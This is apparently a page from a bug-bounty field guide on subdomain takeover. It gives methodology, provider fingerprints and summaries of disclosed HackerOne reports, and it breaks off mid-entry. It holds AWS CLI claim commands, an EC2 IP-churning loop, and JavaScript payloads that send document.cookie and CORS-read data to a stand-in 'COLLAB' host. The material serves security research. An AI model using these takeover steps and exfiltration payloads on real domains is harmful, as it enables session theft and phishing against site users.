⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/Subdomain Takeover
Attack surface

Subdomain Takeover

Specimens 121No direct PortSwigger lab

§Basic information

A subdomain takeover happens when a DNS record for a name the target owns (sub.TARGET.com) still points at a third-party resource that has been de-provisioned but never removed from DNS — a cloud bucket, a CDN distribution, a SaaS app, a reclaimable cloud IP, or even an unregistered domain. Because almost every provider binds a hostname to a resource without proving DNS ownership, anyone can re-register that dangling resource and serve arbitrary content — plus a valid TLS cert via ACME/DV — on the victim's own subdomain.

The reason it matters is that a subdomain is not a sandbox. The parent's session cookies are often scoped domain=.TARGET.com, sibling APIs CORS-whitelist the subdomain, CSP allowlists it, OAuth whitelists it as a redirect_uri, and staff trust it. So "I control a subdomain" routinely escalates to session theft, full SSO bypass, stored XSS on the main site, phishing on a trusted origin, supply-chain poisoning, and internal footholds. Treat a takeover as a primitive, not the impact — the payoff is decided by what trust the org has hung off that host.

§Methodology

The whole game is: enumerate every name, resolve the full chain, and match the target against a per-provider "unclaimed" fingerprint — then correlate danglers with trust before you claim.

  1. Enumerate every subdomain (subfinder/amass/CT logs), plus every <script src>/asset host referenced by live pages, plus MX/NS records.
  2. Resolve each — keep the CNAME/A target and the response fingerprint.
  3. Fingerprint the provider from the CNAME suffix (or Server header) and probe for its unclaimed tell (S3 NoSuchBucket, GitHub Pages "There isn't a GitHub Pages site here", etc.).
  4. Classify the takeover type — SaaS/CDN claim, S3 bucket, cloud-IP reclamation, or buyable base domain (the two DNS signatures below distinguish them).
  5. Correlate with trust before claiming: which cookies are domain=.TARGET.com, which subdomains sit on a CORS allowlist / CSP script-src / OAuth whitelist. This is what turns a "low" into a "critical".
  6. Claim the exact resource and serve a benign, unique marker — never live malware.
  7. Weaponize per the trust correlation: cookie theft, CORS read, persistent XSS, phishing, or supply-chain.
# Resolve the full chain and grab the fingerprint dig +short sub.TARGET.com CNAME dig +short sub.TARGET.com A curl -sI https://sub.TARGET.com # response headers (Server / provider fingerprint) curl -s https://sub.TARGET.com | head # body: provider 'unclaimed' page (NoSuchBucket, etc.)

Two DNS signatures tell you which kind of takeover you have — test both on every dangling CNAME:

# (1) SaaS/CDN claim: record resolves, target returns a provider "unclaimed" page # (2) Buyable-domain claim: NXDOMAIN *with* an ANSWER CNAME to a registrable apex dig sub.TARGET.com # ;; status: NXDOMAIN # ;; ANSWER: sub.TARGET.com. CNAME peosol-lg.<unregistered-domain>. -> whois it -> buy it
▸ TIP
Correlate danglers with trust, not just existence. A cookie-less, un-whitelisted subdomain takeover is cosmetic; the same takeover on a host that receives a domain=.TARGET.com cookie or sits on a CORS/CSP allowlist is account takeover. Do the correlation before you claim so you know the payoff (#219205, #335330).

§Takeover variants

Find which class your dangling record falls into, then use the matching claim.

Dangling CNAME → unclaimed S3 bucket

The classic. A CNAME points at *.s3.amazonaws.com / *.s3-website-<region>.amazonaws.com and the bucket returns NoSuchBucket. S3 requires the bucket name to equal the CNAMEd host, so create that exact bucket in the right region and serve content.

aws s3 mb s3://sub.TARGET.com --region us-east-1 aws s3 website s3://sub.TARGET.com --index-document index.html echo 'takeover-proof-<uuid>' > index.html aws s3 cp index.html s3://sub.TARGET.com/ --acl public-read curl https://sub.TARGET.com/ # -> takeover-proof-<uuid>

Dangling CNAME → unclaimed SaaS / CDN

CNAME to CloudFront, Fastly, Heroku, Netlify, Azure (azurewebsites.net / cloudapp.azure.com / trafficmanager.net), GitHub Pages, Elastic Beanstalk, Zendesk, statuspage.io, HubSpot, Webflow, Mashery, etc. — none of which verify DNS ownership. Register a trial resource and add the dangling host in the provider's Custom Domains field.

# Fingerprint the provider from the CNAME suffix, then claim in a trial account: dig +short sub.TARGET.com CNAME # -> *.cloudfront.net / *.herokudns.com / *.trafficmanager.net / fastly # CloudFront: create a distribution with sub.TARGET.com as an alternate CNAME # Fastly/Heroku/Netlify/Zendesk: add sub.TARGET.com in the service's Domains field (no ownership proof)

Dangling A record → reclaimable cloud IP

No CNAME provider at all: the subdomain resolves to an AWS/GCP/Azure public IP with no live instance. Cycle instances in that region until you regrab the IP. Harder to spot — grep A records in provider ranges too, not just CNAMEs.

dig +short sub.TARGET.com # -> 52.214.138.192 (provider range, no live service) # churn instances in that region until the freed public IP is reassigned to you; # check each new instance's assigned public IP via the API (IMDS only works from inside the box) TARGET_IP=52.214.138.192 while :; do id=$(aws ec2 run-instances --image-id ami-XXXXXXXX --instance-type t3.micro \ --query 'Instances[0].InstanceId' --output text) ip=$(aws ec2 describe-instances --instance-ids "$id" \ --query 'Reservations[0].Instances[0].PublicIpAddress' --output text) [ "$ip" = "$TARGET_IP" ] && break aws ec2 terminate-instances --instance-ids "$id" >/dev/null done

CNAME target → unregistered / typosquatted base domain

NXDOMAIN with an ANSWER CNAME means the target's apex is registrable — buy it and you own the subdomain's content and email. Watch especially for typo'd cloud hosts (elb-amazonaws.com missing a dot) that are themselves buyable.

dig sub.TARGET.com # ;; status: NXDOMAIN # ;; ANSWER: sub.TARGET.com. CNAME open-elb-prod-277.us-east-1.elb-amazonaws.com (note: elb-amazonaws.com) # whois elb-amazonaws.com -> available -> register it -> takeover

CDN origin bucket unclaimed (no DNS control)

A live CloudFront distribution whose S3 origin returns NoSuchBucket — the bucket name leaks in the error body. Claim it (matching the region CloudFront expects) and you control content and content-type served through the CDN, cached at long TTL. This is a takeover without ever touching the target's DNS.

# leak: <Error><Code>NoSuchBucket</Code><BucketName>index.rubygems.org</BucketName></Error> aws s3 mb s3://index.rubygems.org --region us-west-2 # region from the TemporaryRedirect hint aws s3 cp names s3://index.rubygems.org/names --content-type text/html # -> stored XSS via the CDN

Dangling <script src> / asset host

A live production page loads JS/CSS from a takeover-able host. Claiming it yields persistent, no-interaction XSS in the parent origin — strictly worse than serving HTML, because your script runs in TARGET.com itself with no injection into the app.

# grep live pages for third-party/self-hosted src hosts, then resolve each: # <script src="//prod-widget.elasticbeanstalk.com/scripts/bn.min.js"></script> (env deleted) # claim the Elastic Beanstalk environment name -> serve malicious JS to every visitor

Mail / NS / hosted-zone danglers

Dangling MX → inbound email hijack; a Mailgun CNAME-inherited MX → reach postmaster@ → issue certs. A deleted DNS hosted zone or unregistered nameserver domain is a whole-domain takeover, not just one subdomain.

dig +short sub.TARGET.com MX # -> points at a de-provisioned mail service you can claim dig +short TARGET.com NS # -> NS on an unregistered domain -> register it -> control the zone
● NOTE
A "live" 200-responding subdomain can still be takeover-able. Mashery served real content yet let anyone add it as a custom domain with no ownership proof (#275714). Don't skip a host just because it isn't NoSuchBucket — check whether the backing SaaS lets you re-claim the hostname.

§Bypasses

Filter / controlBypassSeen in
No DNS-ownership proof (SaaS)Add the victim host to a trial account's "Custom Domains" field — provider never verifies ownership#275714, #340580
Live-200 subdomain (not dangling)Mashery served the subdomain but let anyone claim it as a custom domain#275714
S3 bucket-name = host ruleBucket must equal the CNAMEd host; if unclaimed, create that exact bucket in the region#32825, #121461
CloudFront region confusionTemporaryRedirect error leaks the exact region the CDN expects; claim the bucket there#2262939
GitHub Pages CNAME holdGitHub briefly drops the CNAME hold on domain changes — race to claim it in your own repo#665398
Unlimited custom domains, no TXT proofBulk pre-claim every domain resolving to the provider ingress IP; real owner is locked out#312118
SaaS API arbitrary branded domainProvider API flaw attaches arbitrary custom domains without proof#665398
NXDOMAIN-with-CNAMERegistrable base domain behind the CNAME — buy the apex instead of claiming a SaaS#2499178
Typosquatted cloud hostCNAME to elb-amazonaws.com (missing dot) — the typo domain is itself unregistered and buyable#2552243
Cloud IP reclamationNo CNAME provider at all — cycle EC2 instances to regrab a dangling A-record IP#1180697, #1295497
▲ WARNING
A takeover of an isolated, cookie-less, un-whitelisted subdomain is cosmetic and closes low/informative. To land impact you must demonstrate the trust it inherits — a domain=.TARGET.com cookie sent to it, a CORS/CSP/OAuth allowlist entry, a <script src> that loads it, or a supply-chain consumer. Report the takeover with that escalation, not on its own.

§Escalation & impact

Once you serve content on the trusted origin, the impact payload depends entirely on the trust correlation:

// Domain-scoped cookie theft: a cookie set domain=.TARGET.com is sent to your subdomain — #219205 #335330 new Image().src = 'https://COLLAB/x?c=' + encodeURIComponent(document.cookie);
// CORS-whitelisted sibling read with credentials — #335330 var x = new XMLHttpRequest(); x.open('GET', 'https://chat.TARGET.com/v2/get-messages?conversationId=ID', true); x.withCredentials = true; x.onload = () => navigator.sendBeacon('https://COLLAB/x', x.responseText); x.send();

§Prevention

Provider "unclaimed" fingerprint cheat sheet
  • S3<Code>NoSuchBucket</Code> (bucket name in <BucketName>)
  • CloudFront → CNAME to *.cloudfront.net but no distribution claims the host / error page
  • Heroku → "No such app" / herokudns.com target unbound
  • GitHub Pages → "There isn't a GitHub Pages site here."
  • Shopify → "Sorry, this shop is currently unavailable"
  • Fastly → default "Fastly error: unknown domain" page
  • Azure*.azurewebsites.net / *.cloudapp.azure.com / *.trafficmanager.net → NXDOMAIN / dead
  • Statuspage → statuspage.io "not found"
  • Zendesk / Wix / Squarespace → provider "domain not claimed / not configured" page

Match each dangling target against this table; can-i-take-over-xyz maintains the full, current matrix.

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 121 in this class.

Real-world example

Dangling CNAME (unclaimed HubSpot) -> cookie theft + CORS chat read

◆ Critical
Specimen #335330 · roblox · awarded · 780 votes · resolved
Program robloxSurface webChain subdomain takeover -> steal .roblox.com cookies / CORS-reTag subdomain-takeoverTag cors

Root cause

A subdomain CNAME pointed to an unclaimed HubSpot instance; claiming it let the attacker serve content on the in-scope subdomain. Because the auth cookie was scoped to *.roblox.com and the subdomain was CORS-whitelisted, the takeover escalated to session-cookie theft and cross-origin chat reads.

Method

  1. Find subdomain with CNAME to a de-provisioned SaaS (HubSpot/Azure/etc.)
  2. Claim the SaaS instance to serve content on the subdomain
  3. Host cookie-logging page (parent-domain-scoped cookies are sent)
  4. Also abuse the subdomain being CORS-whitelisted by sibling APIs to read cross-origin data with credentials
// on the claimed subdomain, read victim chat via CORS whitelist: var x=new XMLHttpRequest(); x.open('GET','https://chat.roblox.com/v2/get-messages?conversationId=ID',true); x.withCredentials=true; x.send();

Insight — A dangling subdomain is not just defacement: if the org's session cookie is domain-scoped (.example.com) or the subdomain sits on a CORS allowlist, takeover becomes cookie theft and authenticated cross-origin data access.

Real-world example

Subdomain takeover + domain-scoped session cookie -> SSO auth bypass

◆ Critical
Specimen #219205 · uber · awarded · 181 votes · resolved
Program uberSurface webChain dangling CNAME -> CloudFront subdomain takeover -> shaTag subdomain-takeoverTag account-takeover

Root cause

saostatic.uber.com was a dangling CNAME to CloudFront that the attacker re-claimed. auth.uber.com issued the _csid session cookie scoped to domain=.uber.com, so it is sent to the taken-over subdomain, letting the attacker capture the shared SSO cookie and impersonate the victim across *.uber.com.

Method

  1. Detect dangling CloudFront CNAME (saostatic.uber.com resolves to *.cloudfront.net with an error page)
  2. Create a CloudFront distribution claiming that hostname, serve attacker content over https (Let's Encrypt)
  3. Lure an authenticated victim to the subdomain; the domain=.uber.com _csid cookie is sent and captured
  4. Replay _csid to impersonate the victim on riders/partners/developer.uber.com
nslookup saostatic.uber.com -> d3i4yxtzktqr9n.cloudfront.net (unclaimed) # claim host on CloudFront, then capture Cookie: _csid=... (domain=.uber.com) at the subdomain

Insight — Wildcard/parent-domain cookie scoping (domain=.example.com) turns ANY subdomain takeover into session theft/auth bypass. When enumerating, correlate dangling subdomains with which cookies are set for the parent domain; short exposure windows (redirect between IdP and SP) are still exploitable.

Real-world example

Dangling CNAME to an unregistered domain (NXDOMAIN) -> takeover

◆ Critical
Specimen #2499178 · deptofdefense · none · 63 votes · resolved
Program deptofdefenseSurface cloudChain dangling DNS -> domain/SaaS registration -> content coTag subdomain-takeover

Root cause

A .mil subdomain has a CNAME pointing at a base domain that is no longer registered (dig returns NXDOMAIN / the target domain is buyable); registering the base domain gives an attacker full control of the subdomain's content and email.

Method

  1. Enumerate subdomains and resolve each; look for CNAME targets that return NXDOMAIN or point to expired/unclaimed services
  2. Confirm the target base domain is available (whois/registrar search)
  3. Register the base domain (and/or claim the SaaS) to serve content, receive mail, and run XSS/cookie/phishing attacks under the trusted subdomain
dig sub.victim.mil ;; ->>HEADER<<- status: NXDOMAIN ;; ANSWER: sub.victim.mil. CNAME peosol-lg.<unregistered-domain>. # then check registrar: <unregistered-domain> is available -> register it

Insight — Two takeover primitives to test on every dangling CNAME: (1) the CNAME target's base domain is unregistered -> buy it (this report); (2) the CNAME points to an unclaimed SaaS/CDN (Wix/S3/etc.) -> claim the resource (also seen in #1963213). NXDOMAIN with an ANSWER CNAME is the tell for case 1.

Real-world example

Subdomain takeover via dangling CNAME to an unregistered (typo) domain

◆ Critical
Specimen #2552243 · deptofdefense · none · 53 votes · resolved
Program deptofdefenseSurface webChain dangling CNAME -> domain registration -> content/mail/Tag subdomain-takeover

Root cause

A subdomain's CNAME pointed to a hostname on a domain that was not actually registered (a typo'd apex, elb-amazonaws.com instead of elb.amazonaws.com). Registering that domain lets the attacker serve content, receive mail, and run script under the victim subdomain.

Method

  1. Enumerate CNAME records across the target's subdomains
  2. For each target, check whether the CNAME's apex domain is actually registered/claimable (whois)
  3. Register the dangling domain and host a proof file at the victim subdomain path
# subdomain -> CNAME open-elb-prod-277276106.us-east-1.elb-amazonaws.com (note: elb-amazonaws.com, not elb.amazonaws.com) # elb-amazonaws.com was unregistered -> register it -> takeover http://SUB.victim/proof.<uuid>.txt

Insight — Do not only check SaaS-fingerprint takeovers; verify the CNAME's base domain is registered at all. Typosquatted internal/cloud hostnames (missing a dot) frequently point to buyable domains — a critical, cheap takeover.

Real-world example

Subdomain takeover surfaced/confirmed via Host-header injection

◆ Critical
Specimen #2188240 · deptofdefense · none · 35 votes · resolved
Program deptofdefenseSurface webChain Dangling CNAME -> claim app -> phishing/cookie theft/XTag subdomain-takeover

Root cause

A subdomain's CNAME points to an unclaimed hosting app (Netlify). Because routing keys on the Host header, sending the victim hostname as the Host header to the provider (or after claiming the app) renders attacker-controlled content as that trusted subdomain.

Method

  1. Find a subdomain whose CNAME targets a claimable provider app (netlify.app, etc.) that is unregistered
  2. Claim the app name on the provider
  3. Confirm/serve content by sending the victim Host header to the provider endpoint
curl -skS https://provider-endpoint/ --header "Host: www.victim-subdomain"

Insight — Dangling CNAMEs to SaaS providers = takeover. The Host-header curl trick both confirms the dangling target and demonstrates content rendering under the victim domain before you register the app.

Real-world example

Dangling DNS record to unclaimed cloud/SaaS asset (provider matrix)

◆ Critical
Specimen #383564 · starbucks · awarded · 35 votes · resolved
Program starbucksSurface webChain subdomain takeover -> phishing / cookie theft on same-sitTag subdomain-takeoverTag cloud-aws

Root cause

A DNS CNAME/A record points to a cloud or SaaS resource (Azure Traffic Manager, S3, Heroku, EC2, GitHub Pages, uptimerobot, Wix/Shoplo, third-party mail) that has been deprovisioned; the attacker registers that same resource name/IP on the provider and serves arbitrary content on the victim subdomain.

Method

  1. Enumerate subdomains and resolve them (dig / massdns / Rapid7 FDNS dataset)
  2. Flag records whose target returns NXDOMAIN / NoSuchBucket / 'no such app' / default provider 404 (dangling)
  3. Identify the pointed-to provider from the CNAME/A target fingerprint
  4. Register the same bucket/app/domain/IP on that provider and publish a PoC page
dig svcgatewayloadus.starbucks.com ;; ANSWER SECTION: svcgatewayloadus.starbucks.com. 600 IN CNAME s00197tmp0crdfulload0.trafficmanager.net. ;; status: NXDOMAIN -> claim s00197tmp0crdfulload0 in Azure Traffic Manager

Insight — Dangling-record takeover is provider-agnostic: fingerprint the CNAME/A target and reclaim it. Beyond DNS, expired parent domains and buyable CNAME targets (e.g. hqn.ro for 9EUR) and reclaimable mail services extend the surface. Bulk-hunt with the Rapid7 FDNS dataset for *.target.* then check each target for the provider's 'unclaimed' fingerprint.

Real-world example

Live page loads assets from an expired for-sale domain

◆ Critical
Specimen #471265 · starbucks · awarded · 22 votes · resolved
Program starbucksSurface webChain expired asset domain -> arbitrary JS in authenticated pagTag subdomain-takeover

Root cause

A production WeChat-integrated page (coupon.ec-starbucks.cn) still references JS/JSONP from spcc.mobi, a domain that lapsed and is on sale; buying it lets an attacker serve arbitrary script into the authenticated page context.

Method

  1. Crawl the live app and inspect responses for external asset hosts (script/img/JSONP src)
  2. Check each external domain's registration status (for-sale/expired = takeover)
  3. Register the dangling domain
  4. Serve malicious JS at the referenced path (e.g. weixin.spcc.mobi/oauth/_jssdk.html) to run in the victim page
# live response contains: $.get('http://weixin.spcc.mobi/oauth/_jssdk.html',{url:...},cb,'jsonp') # spcc.mobi is on sale -> buy it -> control the JSONP response

Insight — Takeover targets aren't only DNS CNAMEs - grep live HTML/JS for third-party asset domains and check each for expiry/for-sale status; a dangling script host is effectively stored XSS with full page control.

Real-world example

Subdomain takeover via unclaimed S3 website bucket (dangling CNAME)

◆ Critical
Specimen #918946 · deptofdefense · none · 22 votes · resolved
Program deptofdefenseSurface cloudChain Dangling S3 CNAME -> claim bucket -> full subdomain coTag subdomain-takeoverTag cloud-aws

Root cause

A subdomain's DNS CNAME pointed to an S3 website endpoint (<name>-website-us-east-1.amazonaws.com) whose bucket no longer existed. Re-creating a bucket of that exact name in the same region reclaims the endpoint, giving full attacker control (arbitrary content, XSS, phishing, cookie theft) on the trusted subdomain.

Method

  1. dig the subdomain and observe a CNAME to an S3 website endpoint that returns NoSuchBucket
  2. Create an S3 bucket with the exact referenced name in the same region (us-east-1)
  3. Enable static website hosting and upload index.html / an XSS PoC
  4. Browse the subdomain to confirm attacker content is served
dig sub.TARGET ; sub.TARGET CNAME target-website-us-east-1.amazonaws.com (bucket 404 / NoSuchBucket) # aws s3 mb s3://target --region us-east-1 ; enable website hosting ; upload index.html

Insight — Enumerate CNAMEs and look for dangling pointers to deprovisioned cloud services (S3 website, CloudFront, Azure, GitHub Pages, Heroku). The S3 website tell is the -website-<region>.amazonaws.com endpoint plus a NoSuchBucket page; bucket names are globally unique so you claim the exact name in the same region. Takeover on a trusted domain trivially yields stored XSS/phishing/cookie theft.

Real-world example

Dangling DNS to reclaimable cloud resource (Azure CDN / AWS) NXDOMAIN takeover

◆ Critical
Specimen #900062 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface cloudChain dangling CNAME (NXDOMAIN) -> recreate cloud endpoint ->Tag subdomain-takeoverTag cloud-azure

Root cause

A subdomain CNAMEs to a cloud endpoint (Azure CDN endpoint, AWS resource) that no longer exists (dig shows NXDOMAIN); the attacker recreates a cloud resource with the same auto-generated name/endpoint, which the dangling CNAME then resolves to, granting content control over the subdomain.

Method

  1. dig the subdomain; a NXDOMAIN status on a CNAME to a cloud endpoint signals reclaimable target
  2. Create a new cloud resource (e.g. Azure CDN profile) using the exact endpoint name the CNAME expects
  3. Bind a web app/origin and set the custom domain to the target subdomain; upload a proof file and enable TLS
  4. Confirm content served at https://<subdomain>/proof.html
dig <subdomain> # status: NXDOMAIN, CNAME -> <name>.azureedge.net # Azure: create CDN profile+endpoint named <name>, add custom domain <subdomain>, upload proof.html

Insight — Cloud-resource dangling DNS is takeover gold: auto-generated endpoint names (azureedge.net, cloudfront, elasticbeanstalk, s3 website, AWS EIPs) are re-registerable. Automate: resolve all subdomains, flag NXDOMAIN/NoSuchBucket/CDN-404 fingerprints, then try to re-claim the exact name.

Real-world example

Dangling third-party service takeover via unclaimed Disqus shortname

◆ Critical
Specimen #172780 · starbucks · awarded · 14 votes · resolved
Program starbucksSurface webTag subdomain-takeover

Root cause

Live pages still embed a deprecated Disqus integration whose shortname was released and never re-claimed; registering that shortname on Disqus grants control of the comment board rendered on the trusted domain.

Method

  1. Grep page source of legacy/migrated sections for third-party integration identifiers (disqus_params shortname, analytics ids, intercom app ids).
  2. Check the provider whether the identifier is unclaimed.
  3. Register it to take over the embedded widget / board on the victim's pages.
<script>var disqus_params = { shortname:'DEPRECATED_SHORTNAME', ... };</script> // register DEPRECATED_SHORTNAME on disqus.com to control the board

Insight — Subdomain-takeover thinking extends to any dangling third-party service identifier still referenced in code (Disqus shortname, GA/Segment ids, chat-widget app ids). Legacy/migrated pages are the richest hunting ground.

Real-world example

Dangling CNAME to unclaimed cloud/SaaS resource -> subdomain takeover (multi-provider)

◆ High
Specimen #665398 · starbucks · awarded · 311 votes · resolved
Program starbucksSurface webChain dangling DNS -> resource claim -> content control ->Tag subdomain-takeoverTag cloud-aws

Root cause

A DNS CNAME/ALIAS still points at a de-provisioned cloud or SaaS resource whose name is re-registerable by anyone. Claiming that resource lets an attacker serve arbitrary content on the victim's subdomain (and often obtain a valid TLS cert via domain validation).

Method

  1. Enumerate subdomains and resolve them; flag CNAMEs whose target returns NXDOMAIN / NoSuchBucket / default 404 (dig, then check the provider).
  2. Register the target resource on the provider (Azure App Service/Cloud Service/Traffic Manager, AWS S3 static site, Netlify, Discourse, GitHub Pages, Unbounce, etc.) using the exact dangling name.
  3. Enable hosting and serve a benign PoC page (unique path) proving control; optionally issue a Let's Encrypt cert for the subdomain.
  4. Escalate to phishing, cookie theft, or SOP-bypass against sibling subdomains.
dig +short takeover.TARGET.com # -> unclaimed-name.azurewebsites.net / .s3-website / .cloudapp.net / .trafficmanager.net / netlify # then register 'unclaimed-name' on the matching provider and enable static hosting

Insight — Fingerprint the provider from the CNAME suffix, then check whether the pointed-at resource is claimable. Watch for release windows: GitHub Pages briefly drops the CNAME hold on domain changes (2085260) - a short race lets an attacker claim the domain in their own repo before DNS is updated. SaaS providers (Unbounce) can have API flaws letting you attach arbitrary branded domains (202767/209004).

Real-world example

Broken Link Hijacking: claim unclaimed resources linked from trusted pages

◆ High
Specimen #1031321 · x · awarded · 222 votes · resolved
Program xSurface webTag subdomain-takeoverTag account-takeover

Root cause

A trusted site links to an external resource (GitHub username, GitHub Pages repo, social account, doc) that no longer exists or was never registered. Anyone can register the dangling handle/repo/account and inherit the trust and traffic of the referring page.

Method

  1. Crawl the target's docs/newsroom/profile pages for outbound links to third-party platforms (github.com/<user>, *.github.io, twitter.com/<handle>, etc.)
  2. Visit each link and look for 404 / 'user not found' / 'domain does not exist'
  3. Register the unclaimed username / repo / account / domain on that platform
  4. Host attacker content so victims arriving from the trusted page land on attacker-controlled resource
# Example: unclaimed GitHub username linked from developer.twitter.com docs 1) developer.twitter.com/.../tools-and-libraries links to github.com/HunterLarco (404) 2) Register GitHub account 'HunterLarco' 3) Traffic from the trusted docs page now lands on attacker's GitHub

Insight — Enumerate every outbound external link on high-trust pages and check each for a claimable dangling target. Works across GitHub usernames, github.io Pages repos, Twitter/social handles, and unregistered domains referenced in app source. Impact = impersonation/phishing under the org's reputation.

Real-world example

Dangling DNS to unclaimed SaaS instance (Zendesk/Fastly/Instapage)

◆ High
Specimen #759454 · datastax · awarded · 194 votes · resolved
Program datastaxSurface webTag subdomain-takeover

Root cause

A CNAME/DNS record still points at a third-party SaaS host (Zendesk, Fastly, Instapage, ...) after the service was cancelled/never provisioned, so anyone can register that host on the SaaS and serve content on the victim's domain.

Method

  1. Enumerate subdomains and resolve CNAMEs (subfinder/amass + dig)
  2. Look for records pointing to SaaS hosts returning a 'not found / no such account' fingerprint
  3. Register the dangling host name inside the SaaS provider account
  4. Serve arbitrary content (phishing/login page) on the victim subdomain
dig CNAME dmc.datastax.com # -> *.zendesk.com (unconfigured helpdesk) # then claim dmc-support.zendesk.com in a Zendesk account

Insight — Grep DNS for third-party SaaS CNAMEs and match against the known takeover fingerprints (can-i-take-over-xyz). Even a 'minimal use' domain enables convincing phishing under a trusted name and can capture cookies/OAuth if scoped to the parent domain.

Real-world example

Subdomain takeover via dangling cloud IP (dead EC2 instance)

◆ High
Specimen #1180697 · zego · none · 84 votes · resolved
Program zegoSurface cloudChain Dangling A record -> reclaim EC2 IP -> serve content +Tag subdomain-takeoverTag cloud-aws

Root cause

A subdomain A/CNAME resolved to an AWS EC2 public IP that no longer hosted an instance; by launching EC2 instances until the same public IP is assigned, an attacker reclaims the IP and serves arbitrary content (and valid TLS) for the subdomain.

Method

  1. Resolve subdomains and note ones pointing to cloud provider IP ranges (AWS/GCP/Azure)
  2. Confirm the IP no longer answers (no live instance)
  3. Cycle new instances in the same region to grab the freed public IP
  4. Serve content and obtain a TLS cert for the dangling subdomain
dig +short v.zego.com # -> 52.214.138.192 (no live instance) # launch/terminate EC2 in that region until the elastic/public IP is reassigned to you curl v.zego.com # -> <!-- your content -->

Insight — Dangling DNS to cloud IPs is takeover-able even without a SaaS provider: the IP itself is reclaimable by churning instances in the region. Especially impactful if the subdomain is OAuth-whitelisted or shares domain-scoped cookies. Flag subdomains resolving to provider IPs with no live service.

Real-world example

Domain takeover via an alternate service feature sharing the same CNAME

◆ High
Specimen #387307 · vimeo · awarded · 77 votes · resolved
Program vimeoSurface webTag subdomain-takeover

Root cause

Two product features (portfolio and on-demand) accept the same custom-domain CNAME but only one enforces 'already claimed'; claiming via the unchecked feature seizes a domain already pointed at the platform.

Method

  1. Identify a domain CNAME'd to the platform (vimeopro.com) already used by another tenant's portfolio
  2. Add that same domain under the *on-demand* custom-domain feature, which does not cross-check portfolio ownership
  3. The domain is now served by attacker's on-demand page -> takeover
CNAME target: vimeopro.com (claim via on-demand feature, bypassing portfolio 'already claimed' check)

Insight — When a platform offers the same custom-domain/CNAME across multiple features, test each intake path independently - ownership checks are often enforced on only one, letting you re-claim domains already 'taken'.

Real-world example

Dangling CNAME to unclaimed SaaS (Unbounce)

◆ High
Specimen #407355 · greenhouse · awarded · 76 votes · resolved
Program greenhouseSurface webTag subdomain-takeover

Root cause

A subdomain has a CNAME pointing to a third-party SaaS (Unbounce) where the corresponding account/page was removed, so the hostname is unclaimed on that provider and an attacker who registers it there serves content on the victim subdomain.

Method

  1. Enumerate subdomains and resolve their CNAME targets
  2. Identify CNAMEs to SaaS providers returning an unclaimed/'page not found' fingerprint
  3. Register the hostname on that provider (per can-i-take-over-xyz) to serve attacker content
Name: demo.greenhouse.io Type: CNAME Class: IN cname: unbouncepages.com # unclaimed on Unbounce -> takeover

Insight — Resolve CNAMEs of every subdomain and match provider fingerprints against can-i-take-over-xyz; a dangling CNAME to a SaaS with an open registration is a full subdomain takeover usable for credible phishing on the org's own domain.

Real-world example

Dangling DNS to a deleted S3 bucket -> bucket claim

◆ High
Specimen #1406335 · x · none · 71 votes · resolved
Program xSurface webTag subdomain-takeoverTag cloud-aws

Root cause

A subdomain CNAMEs to an S3 bucket that no longer exists; anyone can create a bucket with that name in the right region and serve arbitrary content on the victim's domain.

Method

  1. Enumerate subdomains and resolve them; find one pointing at *.s3.amazonaws.com for a non-existent bucket
  2. Create an S3 bucket with the exact missing name in the referenced region
  3. Upload index.html -> content now served under the victim subdomain (can obtain TLS, hijack domain-scoped cookies/OAuth)
dig images.crossinstall.com +short -> assets....s3.amazonaws.com (NoSuchBucket) # create bucket 'assets.crossinstall.com' -> takeover

Insight — Grep DNS for CNAMEs to cloud storage (S3/GCS/Azure) then test for NoSuchBucket/404; a claimable dangling bucket is a full subdomain takeover usable for cookie/OAuth abuse across the parent domain.

Real-world example

Dangling-DNS subdomain takeover across cloud/SaaS providers

◆ High
Specimen #175070 · uber · awarded · 69 votes · resolved
Program uberSurface cloudChain dangling DNS -> claim provider resource -> serve conteTag subdomain-takeoverTag cloud-aws

Root cause

A DNS record (CNAME/ALIAS/A) keeps pointing to a cloud or SaaS resource that has been de-provisioned or never claimed; the provider does not verify who owns the DNS name, so anyone can re-register the resource and serve arbitrary content on the victim's subdomain.

Method

  1. Enumerate subdomains and resolve them; look for CNAMEs to provider endpoints (cloudfront.net, herokudns.com, *.wixdns.net, s3-website-*.amazonaws.com, freshdesk, shopify, etc.).
  2. Probe for the 'unclaimed' fingerprint: CloudFront returns an error/no distribution, S3 returns NoSuchBucket, Heroku 'No such app', Shopify 'Sorry, this shop is currently unavailable'.
  3. Register a resource of the same provider and attach the victim's hostname as the custom domain / alternate CNAME.
  4. Serve a PoC page (harmless marker) to prove control; note ability to obtain a valid TLS cert via ACME domain validation.
# Detection dig +short sub.TARGET.com CNAME curl -sI https://sub.TARGET.com # look for provider 'not found' fingerprint # CloudFront: alias points to *.cloudfront.net but no distribution has that CNAME # S3: http://sub.TARGET.com.s3-website-us-west-2.amazonaws.com/ -> NoSuchBucket # Heroku: CNAME -> *.herokudns.com and app custom-domain unclaimed

Insight — Any dangling DNS pointer to a provider that does not bind resources to DNS ownership is takeoverable. Grep DNS for provider endpoints and match against per-provider 'unclaimed' fingerprints; impact is phishing on a trusted domain, cookie theft (if scoped to parent), and valid TLS via ACME. Fix is to remove the DNS record when decommissioning the resource.

Real-world example

SaaS (Mashery) subdomain takeover via custom-domain claim

◆ High
Specimen #275714 · starbucks · awarded · 51 votes · resolved
Program starbucksSurface webChain subdomain takeover -> cookie/credential theft, phishing oTag subdomain-takeover

Root cause

A subdomain pointed at the Mashery API-management SaaS whose portal allowed adding an arbitrary custom domain without ownership verification; registering a trial account and claiming the dangling subdomain let the attacker serve content on it.

Method

  1. Fingerprint the subdomain - Server header 'Mashery Proxy' identifies the SaaS provider
  2. Register a trial account on the provider (mashery.com)
  3. In Portal Settings > custom domain, add the target subdomain (no ownership check)
  4. Serve attacker content (PoC: alert(document.domain)) on the victim subdomain
# fingerprint curl -I http://developer.openapi.starbucks.com/ # Server: Mashery Proxy # then claim developer.openapi.starbucks.com as custom domain in the SaaS portal

Insight — Use response Server/CNAME fingerprints to identify the backing SaaS, then check whether its portal lets you claim a custom domain without DNS/ownership proof. Any 3rd-party service with self-service custom domains is a takeover candidate.

Real-world example

Dangling-CNAME subdomain takeover (multi-provider) with NTLM-hash escalation

◆ High
